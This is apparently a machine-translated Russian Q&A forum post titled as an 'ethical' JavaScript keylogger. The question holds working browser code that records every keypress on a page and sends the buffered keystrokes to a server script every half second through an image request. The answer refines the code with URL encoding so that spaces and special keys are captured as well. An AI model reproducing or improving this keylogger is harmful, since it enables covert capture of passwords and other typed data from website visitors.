Javascript keylogger (для этических целей) - PullRequest
0 голосов
/ 04 ноября 2018

JS код Ниже приведен код JavaScript для ведения блога на html-странице.

var keys = '';
document.onkeypress = function(e) {
  get = window.event ? event : e;
  key = get.keyCode ? get.keyCode : get.charCode;
  key = String.fromCharCode(key);
  keys += key;
}
window.setInterval(function() {
  if (keys != '') {
    new Image().src = 'keylogger.php?c=' + keys;
    keys = '';
  }
}, 500);

Это работает, но некоторые специальные клавиши не регистрируются, например, пробел, табуляция, возврат и т. Д.

Как настроить приведенный выше код для регистрации всех специальных ключей?

1 Ответ

0 голосов
/ 04 ноября 2018

URL могут содержать только определенный набор символов. По этой причине вам необходимо кодировать символы, которые вы хотите отправить. Используйте функцию encodeURIComponent на keys:

new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
...